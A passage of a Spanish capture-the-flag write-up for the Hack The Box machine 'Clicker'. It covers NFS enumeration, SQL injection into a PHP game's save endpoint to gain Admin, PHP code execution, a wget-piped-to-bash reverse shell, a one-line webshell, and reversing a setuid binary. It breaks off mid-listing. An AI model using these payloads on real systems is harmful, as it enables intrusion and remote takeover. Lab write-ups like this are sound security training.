This page looks best with JavaScript enabled

Hack The Box - Clicker

En Clicker encontramos un backup del sitio en un recurso compartido, en este identificamos una vulnerabilidad de SQLi lo que nos permitio Escalar Privilegios en el sitio, asi mismo logramos la Ejecucion de Codigo PHP y a su vez Comandos lo que nos dio acceso a la maquina. Encontramos un fichero que, tras analizarlo nos permitio la lectura de archivos y el acceso a un segundo usuario. Finalmente escalamos privilegios tras modificar las variables de entorno de un script en Perl.

Nombre Clicker box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.232
Maker

Nooneye

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 6.2, 5.6, 4.4, 3.8],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), ssh (22), rpcbind -tcp/udp- (111) y NFS (2049).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Nmap 7.94 scan initiated Tue Oct 17 18:07:08 2023 as: nmap -p22,80,111,2049,44403,46769,52135,59721,60579 -sV -sC -oN nmap_scan 10.10.11.232
Nmap scan report for 10.10.11.232
Host is up (0.065s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      37485/udp6  mountd
|   100005  1,2,3      42993/udp   mountd
|   100005  1,2,3      52135/tcp   mountd
|   100005  1,2,3      54203/tcp6  mountd
|   100021  1,3,4      34687/tcp6  nlockmgr
|   100021  1,3,4      42726/udp6  nlockmgr
|   100021  1,3,4      46769/tcp   nlockmgr
|   100021  1,3,4      51391/udp   nlockmgr
|   100024  1          34379/tcp6  status
|   100024  1          46617/udp   status
|   100024  1          48056/udp6  status
|   100024  1          59721/tcp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
44403/tcp open  mountd   1-3 (RPC #100005)
46769/tcp open  nlockmgr 1-4 (RPC #100021)
52135/tcp open  mountd   1-3 (RPC #100005)
59721/tcp open  status   1 (RPC #100024)
60579/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 17 18:07:20 2023 -- 1 IP address (1 host up) scanned in 11.98 seconds
# Nmap 7.94 scan initiated Tue Oct 17 18:07:22 2023 as: nmap -sU --min-rate 10000 -oN nmap_scan_udp 10.10.11.232
Nmap scan report for 10.10.11.232
Host is up (0.066s latency).
Not shown: 993 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
111/udp   open   rpcbind
19332/udp closed unknown
21206/udp closed unknown
22045/udp closed unknown
25337/udp closed unknown
29078/udp closed unknown
52225/udp closed unknown

# Nmap done at Tue Oct 17 18:07:23 2023 -- 1 IP address (1 host up) scanned in 0.66 seconds

Web Site

El sitio web nos redirige al dominio clicker.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
 π ~/htb/clicker ❯ curl -sI 10.10.11.232
HTTP/1.1 302 Found
Date: Tue, 17 Oct 2023 22:08:07 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://clicker.htb/
Content-Type: text/html; charset=UTF-8

 π ~/htb/clicker ❯ 

El sitio web parece alojar algun tipo de juego. Se muestran vinculos de registro e inicio de sesion.

image

Directory Brute Forcing

feroxbuster muestra recursos del sitio y algunas paginas PHP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 π ~/htb/clicker ❯ feroxbuster -u http://clicker.htb/

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://clicker.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       50l       98w      733c http://clicker.htb/assets/cover.css
200      GET      114l      266w     3221c http://clicker.htb/login.php
200      GET      114l      266w     3253c http://clicker.htb/register.php
200      GET      127l      319w     3343c http://clicker.htb/info.php
200      GET        7l     1966w   155758c http://clicker.htb/assets/css/bootstrap.min.css
301      GET        9l       28w      311c http://clicker.htb/assets => http://clicker.htb/assets/
200      GET     5668l    32838w  2838184c http://clicker.htb/assets/background.png
200      GET      107l      277w     2984c http://clicker.htb/
301      GET        9l       28w      315c http://clicker.htb/assets/css => http://clicker.htb/assets/css/
301      GET        9l       28w      312c http://clicker.htb/exports => http://clicker.htb/exports/
301      GET        9l       28w      314c http://clicker.htb/assets/js => http://clicker.htb/assets/js/

Web Site - Backup

NFS

En el puerto 2049 encontramos que existe un recurso compartido al cual puede acceder cualquiera.

1
2
3
4
 π ~/htb/clicker ❯ showmount -e clicker.htb 
Export list for clicker.htb:
/mnt/backups *
 π ~/htb/clicker ❯

Montamos este recurso localmente con mount, encontramos un archivo comprimido que parece ser un backup del sitio web.

1
2
3
4
5
6
7
8
 π ~/htb/clicker ❯ sudo mount -t nfs clicker.htb:/mnt/backups mount/ -o nolock
 π ~/htb/clicker ❯ ls -lah mount 
total 2.2M
drwxr-xr-x 2 nobody nogroup 4.0K Sep  5 15:19 .
drwxr-xr-x 3 kali   kali    4.0K Oct 17 18:15 ..
-rw-r--r-- 1 root   root    2.2M Sep  1 16:27 clicker.htb_backup.zip
 π ~/htb/clicker ❯ cp mount/clicker.htb_backup.zip .
 π ~/htb/clicker ❯

Tras extraer los archivos vemos que en efecto es un backup del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/clicker ❯ unzip clicker.htb_backup.zip 
Archive:  clicker.htb_backup.zip
   creating: clicker.htb/
  inflating: clicker.htb/play.php    
[.. snip ..] 
  inflating: clicker.htb/db_utils.php  
   creating: clicker.htb/exports/
  inflating: clicker.htb/export.php  
 π ~/htb/clicker ❯ cd clicker.htb 
 π ~/htb/clicker/clicker.htb ❯ ls
admin.php  assets  authenticate.php  create_player.php  db_utils.php  diagnostic.php  export.php  exports  index.php  info.php  login.php  logout.php  play.php  profile.php  register.php  save_game.php
 π ~/htb/clicker/clicker.htb ❯

Backup

Tras analizar el codigo fuente econtramos que existen dos roles: user y admin.

  • User, unicamente tiene acceso al juego e informacion de usuario.
  • Admin, tiene acceso a una funcionalidad para exportar informacion de usuarios.

Tambien, descubrimos que es posible manipular los valores en save_game.php lo que posibilita una Inyeccion SQL.
El objetivo principal es guardar los clics y nivel mientras el usuario juega. Ejecuta save_profile() de db_utils.php, donde obtiene inicialmente un array por medio del metodo GET, verifica que ninguna key sea igual a “role” (“evita” escalar privilegios), al validar esto, realiza la construccion de un query sino antes utilizar la funcion quote() para “escapar” caracteres especiales y rtrim() (elimina espacios), con los valores obtenidos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// save_game.php
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
	$args = [];
	foreach($_GET as $key=>$value) {
		if (strtolower($key) === 'role') {
			// prevent malicious users to modify role
			header('Location: /index.php?err=Malicious activity detected!');
			die;
		}
		$args[$key] = $value;
	}
	save_profile($_SESSION['PLAYER'], $_GET);
	// update session info
	$_SESSION['CLICKS'] = $_GET['clicks'];
	$_SESSION['LEVEL'] = $_GET['level'];
	header('Location: /index.php?msg=Game has been saved!');
	
}

// db_utils.php
function save_profile($player, $args) {
	global $pdo;
  	$params = ["player"=>$player];
	$setStr = "";
  	foreach ($args as $key => $value) {
    		$setStr .= $key . "=" . $pdo->quote($value) . ",";
	}
  	$setStr = rtrim($setStr, ",");
  	$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
  	$stmt -> execute($params);
}

El query ejecutado quedaria de tal forma al pasarle los valores.

1
UPDATE players SET clicks='9',level='12' WHERE username = 'username';

Al dar clic a save and close.

image

Y se mostraria de la siguiente forma en /profile.php.

image

Observamos en Burpsuite que la solicitud se realizo a la url con los valores:

  • http://clicker.htb/save_game.php?clicks=15&level=1

SQL Injection

Un post muestra distintas formas para realizar una inyeccion sql en ‘prepared statements’. Encontramos que es posible editar el valor de nickname y mostrar la contrasena del usuario. Hay que mencionar que, para que el cambio se vea reflejado es necesario cerrar e iniciar sesion nuevamente.

1
2
3
4
<form method="get" action="http://clicker.htb/save_game.php">
    <input type=hidden name="nickname=(SELECT`password`)#" value="" />
    <button>clicker.htb</button>
</form>

Observamos nuestro hash como valor de nickname.

image

Se realiza la siguiente solicitud codificada:

1
2
http://clicker.htb/save_game.php?nickname%3D%28SELECT%60password%60%29%23=
# http://clicker.htb/save_game.php?nickname=(SELECT`password`)#=     <--- valor decodificado

El query ejecutado cambiaria el nickname de todos los usuarios por el valor de password:

1
UPDATE players SET nickname=(SELECT`password`)#='' WHERE username = 'user'

Intentamos obtener la contrasena de uno de los usuarios con el rol Admin pero no devolvia ningun valor.

1
2
3
4
5
<!-- worked but no pass returned -->
<form method="GET" action="http://clicker.htb/save_game.php">
    <input type=hidden name="nickname=(SELECT`password`FROM`players`WHERE`role`like'Admin')#" value="" />
    <button>clicker.htb</button>
</form>

Privilege Escalation

Podemos agregar mas de un valor para ser manipulado o actualizado en este caso la columna role la cual se actualizaria para darnos privilegios de Admin. El valor 1 en nickname es solo para verificar el cambio, aunque es posible enviar unicamente role=(SELECT"Admin")#.

1
2
3
4
<form method="GET" action="http://clicker.htb/save_game.php">
    <input type=hidden name='nickname=(SELECT"1"),role=(SELECT"Admin")#' value="" />    
    <button>clicker.htb</button>
</form>

Al iniciar sesion nuevamente vemos que tenemos el rol Admin ya que se nos muestra el vinculo a Administration.

image

Code Execution

Como ya se habia mencionado, como admin es posible exportar informacion de los usuarios existentes en tres formatos distintos. Al exportar en cierto formato se nos devuelve la ruta donde se almacena la informacion.

image
image

Se muestran en los tres formatos la informacion devuelta.

1
2
3
4
5
Nickname: 1 Clicks: 0 Level: 0
Nickname: 1 Clicks: 999999999999999999 Level: 999999999
Nickname: 1 Clicks: 10000000 Level: 100
Nickname: 1 Clicks: 2776354 Level: 75
Nickname: 1 Clicks: 87947322 Level: 1
1
"nickname":"1","clicks":0,"level":0}[{"nickname":"1","clicks":999999999999999999,"level":999999999},{"nickname":"1","clicks":10000000,"level":100},{"nickname":"1","clicks":2776354,"level":75},{"nickname":"1","clicks":87947322,"level":1}]
1
<table><thead>  <tr>    <th scope="col">Nickname</th>    <th scope="col">Clicks</th>    <th scope="col">Level</th>  </tr></thead><tbody>  <tr>    <th scope="row">1</th>    <td>0</td>    <td>0</td>  </tr>  <tr>    <th scope="row">1</th>    <td>999999999999999999</td>    <td>999999999</td>  </tr>  <tr>    <th scope="row">1</th>    <td>10000000</td>    <td>100</td>  </tr>  <tr>    <th scope="row">1</th>    <td>2776354</td>    <td>75</td>  </tr>  <tr>    <th scope="row">1</th>    <td>87947322</td>    <td>1</td>  </tr></tbody></table>

En el codigo fuente (export.php) encontramos que la extension del archivo puede ser manipulada, y en tal caso muestra la informacion en HTML, por lo que si podemos exportar un archivo con extension .php es posible ejecutar codigo.

1
2
3
4
5
6
7
[...]

$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);

[...]

Como sabemos al exportar la informacion se muestra el valor de nickname de cada usuario, anteriormente descubrimos que es posible manipular este valor, agregamos codigo php como nickname, en este caso se ejecutaria phpinfo().

1
2
3
4
5
<!-- phpinfo(); gets executed by -->
<form method="GET" action="http://clicker.htb/save_game.php">
    <input type=hidden name='nickname=(SELECT"<?=phpinfo();?>"),role=(SELECT"Admin")#' value="" />
    <button>clicker.htb</button>
</form>

Podemos observar en /profile.php que el cambio se realizo exitosamente.

image

Cambiamos la extension a PHP en repeater de Burpsuite.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /export.php HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://clicker.htb
Connection: close
Referer: http://clicker.htb/admin.php
Cookie: PHPSESSID=16s619ao7thjfqf1d4hsc4nime
Upgrade-Insecure-Requests: 1

threshold=1000000&extension=php

Obtuvimos una respuesta con la direccion del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 302 Found
Date: Sat, 28 Oct 2023 00:03:08 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /admin.php?msg=Data has been saved in exports/top_players_ynom1kjd.php
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Tras visitar la direccion del archivo encontramos que el codigo se ejecuto exitosamente.

image

Logramos tambien, utilizando un operador de ejecucion `` ejecutar el comando id, observamos que el usuario es www-data.

1
2
<!-- Exec id -->
<input type=hidden name='nickname=(SELECT"<?=`id`?>"),role=(SELECT"Admin")#' value="" />

image

User - www-data

Como sabemos existe una funcion que elimina los espacios y los caracteres especiales son “escapados”, por lo que para la ejecucion de comandos utilzamos una variable que aloja el valor en hexadecimal de un espacio y la pasamos en el lugar que necesitamos. Ademas como no es posible agregar una direccion IP por los puntos (.) la convertimos en decimal.

Cambiamos nuestro nickname con nuestro codigo que ejecuta con wget una solicitud http a nuestra maquina:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<!--
make a wget request, IP to Decimal (https://www.ipaddressguide.com/ip)
ip : 168431360 
command : wget 168431360

char | hex
  | x20

code : 

<?=$IFS="\x20";`wget${IFS}168431360`?>

final: 
<?=$IFS="\\x20\";`wget${IFS}168431360`?>
-->

<!-- payload -->
<input type=hidden name='nickname=(SELECT"<?=$IFS=\"\\x20\";`wget${IFS}168431360`?>"),role=(SELECT"Admin")#' value="" />

Exportamos y con curl realizamos una solicitud al archivo creado.

1
2
3
 π ~/htb/clicker/www ❯ curl http://clicker.htb/exports/top_players_a2nwlh3e.php
<table><thead>  <tr>    <th scope="col">Nickname</th>    <th scope="col">Clicks</th>    <th scope="col">Level</th>  </tr></thead><tbody>  <tr>    <th scope="row"> </th>    <td>0</td>    <td>0</td>  </tr>  <tr>    <th scope="row"> </th>    <td>999999999999999999</td>    <td>999999999</td>  </tr>  <tr>    <th scope="row"> </th>    <td>10000000</td>    <td>100</td>  </tr>  <tr>    <th scope="row"> </th>    <td>2776354</td>    <td>75</td>  </tr>  <tr>    <th scope="row"> </th>    <td>87947322</td>    <td>1</td>  </tr></tbody></table>
 π ~/htb/clicker/www ❯

Por otro lado observamos multiples solicitudes http a nuestro servidor.

1
2
3
4
5
6
7
 π ~/htb/clicker/www ❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.232 - - [27/Oct/2023 21:04:39] "GET / HTTP/1.1" 200 -
10.10.11.232 - - [27/Oct/2023 21:04:39] "GET / HTTP/1.1" 200 -
10.10.11.232 - - [27/Oct/2023 21:04:40] "GET / HTTP/1.1" 200 -
10.10.11.232 - - [27/Oct/2023 21:04:40] "GET / HTTP/1.1" 200 -
10.10.11.232 - - [27/Oct/2023 21:04:40] "GET / HTTP/1.1" 200 -

Shell

Nos es posible ejecutar comandos, esta vez ejecutamos una shell inversa, en este caso agregamos ciertos caracteres de la misma forma que el espacio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!-- 
command : wget -qO- 10.10.15.0:8000/10.10.15.0:1335|bash

char | hex
  | x20
. | x2e
- | x2d
: | x3a
| | x7c

code:
<?php

$IFS="\x20";
$p="\x2e";
$g="\x2d";
$pp="\x3a";
$sl="\x7c";

`wget${IFS}${g}qO${g}${IFS}168431360${pp}8000/168431360${pp}1338${sl}bash`;

final:

<?=$IFS=\"\\x20\";$p=\"\\x2e\";$g=\"\\x2d\";$pp=\"\\x3a\";$sl=\"\\x7c\";`wget${IFS}${g}qO${g}${IFS}168431360${pp}8000/168431360${pp}1335${sl}bash`?>
-->
  
<!-- payload -->
<input type=hidden name='nickname=(SELECT"<?=$IFS=\"\\x20\";$p=\"\\x2e\";$g=\"\\x2d\";$pp=\"\\x3a\";$sl=\"\\x7c\";`wget${IFS}${g}qO${g}${IFS}168431360${pp}8000/168431360${pp}1338${sl}bash`?>"),role=(SELECT"Admin")#' value="" />

Tras cambiar el nickname observamos nuestro codigo en /profile.php.

1
2
3
<main class="px-3">
    <h1>Your Profile Info</h1>
    <table class="table table-dark"><thead>  <tr>    <th scope="col">Nickname</th>    <th scope="col">Clicks</th>    <th scope="col">Level</th>  </tr></thread><tbody>  <tr>    <th scope="row"><?=$IFS="\x20";$p="\x2e";$g="\x2d";$pp="\x3a";$sl="\x7c";`wget${IFS}${g}qO${g}${IFS}168431360${pp}8000/168431360${pp}1335${sl}bash`?></th>    <td>0</td>    <td>0</td>  </tr></tbody></table>  </main>

Exportamos e hicimos que nuestro codigo se ejecutara visitando el archivo, tras ello logramos obtener una shell como www-data.

1
2
3
4
5
6
7
8
9
 π ~/htb/clicker ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.0] from clicker.htb [10.10.11.232] 36010
/bin/sh: 0: can't access tty; job control turned off
$ whoami;pwd;id
www-data
/var/www/clicker.htb/exports
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Una forma mucho mas sencilla es realizar una solicitud con wget para descargar una webshell, y luego ejecutar una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# download webshell
<input type=hidden name='nickname=(SELECT"<?=$IFS=\"\\x20\";$p=\"\\x2e\";`wget${IFS}168431360/sh${p}php`?>"),role=(SELECT"Admin")#' value="" />

#
 π ~/htb/clicker/www ❯ cat sh.php 
<?=`$_GET[0]`?>
 π ~/htb/clicker/www ❯

# 
 π ~/htb/clicker ❯ curl -s "http://clicker.htb/exports/sh.php?0=id"  
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 π ~/htb/clicker ❯ 
 π ~/htb/clicker ❯ curl -s -G "http://clicker.htb/exports/sh.php" --data-urlencode "0=wget -qO- 10.10.15.0:8000/10.10.15.0:1338|bash" 
 π ~/htb/clicker ❯

User - Jack

Encontramos que existe un ejecutable propiedad de jack, en este existe un README que describe las cuatro opciones disponibles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat /etc/passwd | grep /home/
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
jack:x:1000:1000:jack:/home/jack:/bin/bash
$ 
# [.. .. ]
$ ls -lah
total 28K
drwxr-xr-x 2 jack jack 4.0K Jul 21 22:29 .
drwxr-xr-x 3 root root 4.0K Jul 20 10:00 ..
-rw-rw-r-- 1 jack jack  256 Jul 21 22:29 README.txt
-rwsrwsr-x 1 jack jack  16K Feb 26  2023 execute_query
$ cat README.txt
Web application Management

Use the binary to execute the following task:
    - 1: Creates the database structure and adds user admin
    - 2: Creates fake players (better not tell anyone)
    - 3: Resets the admin password
    - 4: Deletes all users except the admin
$ file execute_query
execute_query: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cad57695aba64e8b4f4274878882ead34f2b2d57, for GNU/Linux 3.2.0, not stripped
$

Tras realizar la ejecucion vemos las cuatro opciones, en todas muestra la ejecucion de un query. Ninguno de los hashes mostrados por la ejecucion permiten acceder por algun servicio o el sitio web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ ./execute_query
ERROR: not enough arguments
$ ./execute_query 1
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
CREATE TABLE IF NOT EXISTS players(username varchar(255), nickname varchar(255), password varchar(255), role varchar(255), clicks bigint, level int, PRIMARY KEY (username))
--------------

--------------
INSERT INTO players (username, nickname, password, role, clicks, level) 
        VALUES ('admin', 'admin', 'ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82', 'Admin', 999999999999999999, 999999999)
        ON DUPLICATE KEY UPDATE username=username
--------------

$ ./execute_query 2
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
INSERT INTO players (username, nickname, password, role, clicks, level) 
        VALUES ('ButtonLover99', 'ButtonLover99', sha2('BestGameinHistory',256), 'User', 10000000, 100)
        ON DUPLICATE KEY UPDATE username=username
--------------

--------------
INSERT INTO players (username, nickname, password, role, clicks, level) 
        VALUES ('Paol', 'Paol', sha2('Yeah_What_a_Nickname',256), 'User', 2776354, 75)
        ON DUPLICATE KEY UPDATE username=username
--------------

--------------
INSERT INTO players (username, nickname, password, role, clicks, level)
        VALUES ('Th3Br0', 'Th3Br0', sha2('Brohhhhhhhhhh',256), 'User', 87947322, 1)
        ON DUPLICATE KEY UPDATE username=username
--------------

$ ./execute_query 3
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
UPDATE players SET password='ec9407f758dbed2ac510cac18f67056de100b1890f5bd8027ee496cc250e3f82' WHERE username='admin'
--------------

$ ./execute_query 4
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
DELETE FROM players WHERE username != 'admin'
--------------

$

Ejecutando strings al archivo vemos la ejecucion de mysql y la direccion de jack: /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v <, /home/jack/queri, ademas muestra cuatro archivos sql.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[...]
GLIBC_2.2.5                                                                        
GLIBC_2.34                                                                        
_ITM_deregisterTMCloneTable                                                                        
__gmon_start__                                                                        
_ITM_registerTMCloneTable                                                                        
PTE1                                                                        
u+UH              
/home/jaH   
ck/queriH     
/usr/binH   
/mysql -H     
u clickeH
r_db_useH           
r --passH  
word='clH
icker_dbH         
_passworH       
d' clickH         
er -v < H  
ERROR: not enough arguments
ERROR: Invalid arguments  
create.sql 
populate.sql
reset_password.sql
clean.sql
File not readable or not found
:*3$"             
GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Scrt1.o                     
__abi_tag 

[...]

Con esta informacion suponemos que esta ejecutando con cada opcion: /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < file.sql o algo parecido.

Utilizamos ghidra para obtener el codigo del ejecutable, encontramos que por cada opcion hay un archivo y al elegir una de las opciones, crea la direccion /home/jack/queries/<archivo>.sql y verifica que alchivo sea accesible al usuario jack. Tras la validacion crea el comando: /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < /home/jack/queries/<archivo>.sql que finalmente es ejecutado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
undefined8 main(int param_1,long param_2)

{
  int iVar1;
  undefined8 uVar2;
  char *pcVar3;
  size_t sVar4;
  size_t sVar5;
  char *__dest;
  long in_FS_OFFSET;
  undefined8 local_98;
  undefined8 local_90;
  undefined4 local_88;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined local_28;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 < 2) {
    puts("ERROR: not enough arguments");
    uVar2 = 1;
  }
  else {
    iVar1 = atoi(*(char **)(param_2 + 8));
    pcVar3 = (char *)calloc(0x14,1);
    switch(iVar1) {
    case 0:
      puts("ERROR: Invalid arguments");
      uVar2 = 2;
      goto LAB_001015e1;
    case 1:
      strncpy(pcVar3,"create.sql",0x14);
      break;
    case 2:
      strncpy(pcVar3,"populate.sql",0x14);
      break;
    case 3:
      strncpy(pcVar3,"reset_password.sql",0x14);
      break;
    case 4:
      strncpy(pcVar3,"clean.sql",0x14);
      break;
    default:
      strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
    }
    local_98 = 0x616a2f656d6f682f;
    local_90 = 0x69726575712f6b63;
    local_88 = 0x2f7365;
    sVar4 = strlen((char *)&local_98);
    sVar5 = strlen(pcVar3);
    __dest = (char *)calloc(sVar5 + sVar4 + 1,1);
    strcat(__dest,(char *)&local_98);
    strcat(__dest,pcVar3);
    setreuid(1000,1000);
    iVar1 = access(__dest,4);
    if (iVar1 == 0) {
      local_78 = 0x6e69622f7273752f;
      local_70 = 0x2d206c7173796d2f;
      local_68 = 0x656b63696c632075;
      local_60 = 0x6573755f62645f72;
      local_58 = 0x737361702d2d2072;
      local_50 = 0x6c63273d64726f77;
      local_48 = 0x62645f72656b6369;
      local_40 = 0x726f77737361705f;
      local_38 = 0x6b63696c63202764;
      local_30 = 0x203c20762d207265;
      local_28 = 0;
      sVar4 = strlen((char *)&local_78);
      sVar5 = strlen(pcVar3);
      pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
      strcat(pcVar3,(char *)&local_78);
      strcat(pcVar3,__dest);
      system(pcVar3);
    }
    else {
      puts("File not readable or not found");
    }
    uVar2 = 0;
  }
LAB_001015e1:
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar2;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

image
image

Para entender mejor le codigo le pedimos a ChatGPT que nos mostrara el codigo mas limpio y sorpresivamente el codigo es mucho mas entendible.

Con este codigo, se muestra la “opcion” default del switch el cual toma como valor un segundo argumento. Esto quiere decir que por default toma el nombre del archivo que se le pase como segundo argumento, en tal caso es posible que al ejecutar el comando intente acceder al archivo especificado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    int argumentCount;
    int exitCode = 0;
    char *sqlFileName = NULL;

    // Check the number of command-line arguments
    if (argc < 2) {
        printf("ERROR: Not enough arguments\n");
        exitCode = 1;
    } else {
        // Convert the second argument to an integer
        argumentCount = atoi(argv[1]);

        // Allocate memory for a SQL file name
        sqlFileName = (char *)calloc(0x14, 1);

        switch (argumentCount) {
            case 0:
                printf("ERROR: Invalid arguments\n");
                exitCode = 2;
                break;
            case 1:
                strncpy(sqlFileName, "create.sql", 0x14);
                break;
            case 2:
